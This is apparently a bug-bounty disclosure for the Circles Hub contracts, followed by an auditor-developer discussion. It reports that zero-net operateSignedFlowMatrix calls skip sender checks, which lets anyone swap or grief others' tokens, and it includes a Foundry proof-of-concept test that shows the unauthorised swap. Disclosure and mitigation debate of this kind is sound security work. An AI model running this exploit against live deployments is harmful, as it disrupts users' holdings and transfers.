Anyone can trigger switch of tokens of trusted connections

[hats-bug-reporter[bot]]

Github username: -- Twitter username: -- Submission hash (on-chain): 0x1bcbde06a1402ab535edca78a66a69efcd6d007b0c688cd5e7e8ce294d225598 Severity: medium

Description: Description\ When making a transaction using operateSignedFlowMatrix with 0 net change, ie. Bob sends Carl 1 token and Carl sends Bob 1 token, no streams need to passed.

As no streams are passed, all checks for msg.sender in the function are skipped, and this allows any address, to redistribute user's tokens within a trust network, making the user hold an equal amount but of different (and unexpected) tokens.

Attack Scenario\ First, this allows anyone to cause others to have different tokens than what they would expect and possibly desire. This is especially a problem if trust relations are not symmetric, and some user tokens may be more liquid (trusted by more users and so more easy to spend) than others.

Second, this could be used as a griefing attack. If user A front runs a transfer from B, and switches B's tokens with other tokens from B's trust network, the transaction from B will fail. This could allow an attack that blocks a user from making transactions.

Third, if this attack is used against groups, it could cause the tokens of the group to move to its vault, when this was not intended by the group nor by its trusted network.

Possible mitigation

Limit the initiation of transactions to users within the same trust network. This makes it, at least in theory, possible for users to exclude malicious actors from their trust network. This can be done by checking that each path passed in operateSignedFlowMatrix originates from msg.sender.

Test scenario

Run with:

forge test --match-test testAliceCanExchangeAnyTwoTokensIntheTrustGraph -vvv

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.24;

import {Test} from "forge-std/Test.sol";
import {StdCheats} from "forge-std/StdCheats.sol";
import "forge-std/console.sol";
import "../../src/hub/TypeDefinitions.sol";
import "../../src/operators/SignedPathOperator.sol";
import "../hub/MockDeployment.sol";
import "../setup/TimeCirclesSetup.sol";
import "../setup/HumanRegistration.sol";
import "./TrustGraph.sol";
import "../../src/groups/BaseMintPolicy.sol";

contract SignedPathOperatorTest is Test, TimeCirclesSetup, HumanRegistration, TrustGraph {
    // Constants

    uint96 expiry = type(uint96).max;

    // State variables

    SignedPathOperator public operator;
    MockHub public hub;
    MockDeployment public deployment;

    // Constructor
    event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);

    constructor() HumanRegistration(21) {}

    // Setup

    function setUp() public {
        // set time to 10 december 2021
        startTime();

        // deploy all contracts and the signed path operator
        deployment = new MockDeployment(INFLATION_DAY_ZERO, 365 days);
        hub = deployment.hub();
        operator = new SignedPathOperator(IHubV2(address(hub)));

        // register 20 humans
        for (uint256 i = 0; i < 20; i++) {
            vm.prank(addresses[i]);
            hub.registerHumanUnrestricted();
            assertEq(deployment.hub().isTrusted(addresses[i], addresses[i]), true);
        }
        // skip time to claim Circles
        skipTime(14 days + 1 minutes);
        for (uint256 i = 0; i < 20; i++) {
            vm.prank(addresses[i]);
            hub.personalMintWithoutV1Check();
        }

        address mintPolicy = address(new MintPolicy());
        // register a group already at address
        address group =  addresses[20];
        vm.prank(group);
        hub.registerGroup(mintPolicy, "Group1", "G1", bytes32(0));

        // diagram of the trust graph (all doubly connected)

        // 1---2---3       8---9
        // | \ | / |       | / |
        // 12  4---5---7---6---10
        // | / |   |       | \ |
        // 11--13  14      15--16
        // |       |          
        // 20------17 18--19
        _setTrustGraph();

    }

    function testSanity() public {

        // 18, and 19 are isolated (index 17 and 18)
        assertEq(deployment.hub().isTrusted(addresses[17], addresses[18]), true);
        assertEq(deployment.hub().isTrusted(addresses[16], addresses[17]), false);
        assertEq(deployment.hub().isTrusted(addresses[15], addresses[18]), false);
        assertEq(deployment.hub().isTrusted(addresses[0], addresses[17]), false);
        assertEq(deployment.hub().isTrusted(addresses[0], addresses[18]), false);

    }

    function testAliceCanExchangeAnyTwoTokensIntheTrustGraph() public {
        // this test shows that alice can initiaitate tokens swaps for agents completel
        // Carl and Dave are not connnected wit
        // carl -> 50 carltoken > dave --50deavtoken --> carl
        testSanity();
        uint256 carlIndex = 17;
        uint256 daveIndex = 18;
        {
        address alice = addresses[0];
        address carl  = addresses[carlIndex];
        address dave = addresses[daveIndex];
        // only Alice authorizes the operator to execute a signed path on her behalf.
        console.log("Initial State");
        console.log("Balance(Carl, DaveToken)",  hub.balanceOf(carl, hub.toTokenId(dave)));
        console.log("Balance(Dave, CarlToken)",  hub.balanceOf(dave, hub.toTokenId(carl)));

        vm.prank(alice);
        hub.setApprovalForAll(address(operator), true);
        }

    {

        // make it max width even if we dont touch all nodes
        address[] memory flowVertices = new address[](N);
        // allocate memory for some flow edges already
        uint256 M = 2; 
        TypeDefinitions.FlowEdge[] memory flowEdges = new TypeDefinitions.FlowEdge[](M);
        uint16[] memory coordinates = new uint16[](M * 3);

        // the flow vertices need to be sorted
        for (uint256 i = 0; i < N; i++) {
            flowVertices[i] = sortedAddresses[i];
        }

        // streamSingkId, amount
        flowEdges[0] = TypeDefinitions.FlowEdge(uint16(0), uint192(50 * CRC));
        flowEdges[1] = TypeDefinitions.FlowEdge(uint16(0), uint192(50 * CRC));

        coordinates[0] = lookupMap[carlIndex]; // Carl token
        coordinates[1] = lookupMap[carlIndex]; // source -carl
        coordinates[2] = lookupMap[daveIndex]; // receiver - dave

        coordinates[3] = lookupMap[daveIndex]; // Dave token
        coordinates[4] = lookupMap[daveIndex]; // source - dave
        coordinates[5] = lookupMap[carlIndex]; // receiver - carl

          // pack the coordinates
        bytes memory packedCoordinates = packCoordinates(coordinates);

        TypeDefinitions.Stream[] memory streams = new TypeDefinitions.Stream[](0);
        // empty stream list because there are no net flows

        address alice = addresses[0];
        vm.prank(alice);
        operator.operateSignedFlowMatrix(flowVertices, flowEdges, streams, packedCoordinates, lookupMap[0]);
    }

        // check if balance cahnged    
        {
        address carl  = addresses[carlIndex];
        address dave = addresses[daveIndex];
        console.log("Final State");
        console.log("Balance(Carl, DaveToken)",  hub.balanceOf(carl, hub.toTokenId(dave)));
        console.log("Balance(Dave, CarlToken)",  hub.balanceOf(dave, hub.toTokenId(carl)));
        }
    }

    // duplicated from test/hub/PathTransferHub.t.sol
    /**
     * @dev Packs an array of uint16 coordinates into bytes.
     * Each coordinate is represented as 16 bits (2 bytes).
     * @param _coordinates The array of uint16 coordinates.
     * @return packedData_ The packed coordinates as bytes.
     */
    function packCoordinates(uint16[] memory _coordinates) private pure returns (bytes memory packedData_) {
        packedData_ = new bytes(_coordinates.length * 2);

        for (uint256 i = 0; i < _coordinates.length; i++) {
            packedData_[2 * i] = bytes1(uint8(_coordinates[i] >> 8)); // High byte
            packedData_[2 * i + 1] = bytes1(uint8(_coordinates[i] & 0xFF)); // Low byte
        }
    }

    function _setTrustGraph() internal {
        _linearlyDoubleConnect17(L1);
        _linearlyDoubleConnect7(L2);
        _fullyConnect3(F1);
        _fullyConnect3(F2);
        _fullyConnect3(F3);
        _fullyConnect3(F4);
        _fullyConnect3(F5);
    }

    function _fullyConnect3(uint256[3] memory _list) internal {
        for (uint256 i = 0; i < _list.length; i++) {
            for (uint256 j = 0; j < _list.length; j++) {
                if (i != j) {
                    vm.prank(addresses[_list[i]]);
                    hub.trust(addresses[_list[j]], expiry);
                }
            }
        }
    }

    function _linearlySingleConnect(uint256[] memory _list) internal {
        for (uint256 i = 0; i < _list.length - 1; i++) {
            vm.prank(addresses[_list[i]]);
            hub.trust(addresses[_list[i + 1]], expiry);
        }
    }

    function _linearlyDoubleConnect17(uint256[17] memory _list) internal {
        for (uint256 i = 0; i < _list.length - 1; i++) {
            vm.prank(addresses[_list[i]]);
            hub.trust(addresses[_list[i + 1]], expiry);
            vm.prank(addresses[_list[i + 1]]);
            hub.trust(addresses[_list[i]], expiry);
        }
    }

    function _linearlyDoubleConnect7(uint256[8] memory _list) internal {

        for (uint256 i = 0; i < _list.length - 1; i++) {
            vm.prank(addresses[_list[i]]);
            hub.trust(addresses[_list[i + 1]], expiry);
            vm.prank(addresses[_list[i + 1]]);
            hub.trust(addresses[_list[i]], expiry);
        }
    }

}

[benjaminbollen]

Intended design

[omega-audits]

I just want to make sure you realize that one of the consequences is that any account can make any transfer transaction revert if they are able to frontrun it.

I realize that "intended design" is that tokens are move easily through the trust graph. But doing some checks on msg.sender, as we suggest, does mitigate the problem, and does not not make any compromises wrt liquidity, I think.

[benjaminbollen]

We have had in a first implementation a stronger constraint, but this was relaxed. ie. we then checked for all flow vertices to have authorized the operator.

I have also hence considered reformulating it as an opt-in, so that for those opting-in, checking the operator would also have been required when included in the flow vertices.

I share your concern of front-running but it comes at a cost of allowing the network to fracture with operators limited in their reach, and in particular giving more power to high-centrality nodes to dictate which operators are allowed.

[benjaminbollen]

the other concern is that there are other ways in which one can front-run the operator that would not be covered by a stronger check. eg

1. sudden movement of balances out of a node (simply by the owner)
2. untrusting by a person, and breaking an edge which can also invalidate the flow matrix

I have proposed solutions for all three (1 is still possible later). There might be other ways to front-run though that I have not come up with, so overall the debate is:

1. is it really worth putting extra constraints if it might not close the problem
2. what is the incentive for someone to keep enforcing such a nuisance

[omega-audits]

So with regard to "closing the problem", it depends a bit on what you understand to be the problem. I see how it would be hard to exclude front-running altogether. But currently, your system seems completely defenseless. Frontrunning can be mitigated by maintaining a whitelist of operators that can "touch your coins", so that malicious actors can be excluded. Managing such a whitelist would be cumbersome, but you have a natural (kind-of) whitelist that consists of all addresses that are connected to you in your trust network (all addresses that trust coins that trust coins that ... that trust coins you trust). And in case such a "whitelisted" address becomes malicious and disrupts the network, you can "blacklist" it by untrusting your connections to it (or lobbying others to untrust) that address. This is a doable check, and it would not fracture the network, as far as I understand.

About incentives. So usually I would mention defi applications here (for example, liquidates may have financial incentives to keep you from paying of your debt), but in the circles case, a more plausable scenario, perhaps, is to think of a hostile government that does not like alternative currencies, that makes the local Circles network unusable by constantly re-arranging the coins in the network. One gnosis chain this would be affordable, I think.

[benjaminbollen]

just a quick note that 1. one of the primary design rules is that there is no governance, so maintaining a white or black list globally is already not possible; but then 2. defining it over the trust graph is not feasible, as it breaks the need of an operator to be able to act globally

eg. just for reference in a 2023 version it checked for all flow vertices that the operator is authorized (but this was with ERC20, not ERC1155, so there was a custom GraphOperator concept) https://github.com/aboutcircles/circles-contracts-v2/blob/chiado-v0.1.0/src/graph/Graph.sol#L495-L509

and similarly untrust had a delay enforced on it https://github.com/aboutcircles/circles-contracts-v2/blob/chiado-v0.1.0/src/graph/Graph.sol#L738-L741

(and sudden token movements out can still be mitigated over account abstraction and preferring to route tokens over vertices that have enabled a delay on sudden token movements)

So it is not that we don't know how to address this, it is that we have decided so far that the downsides of "fixing" it are worse than the upsides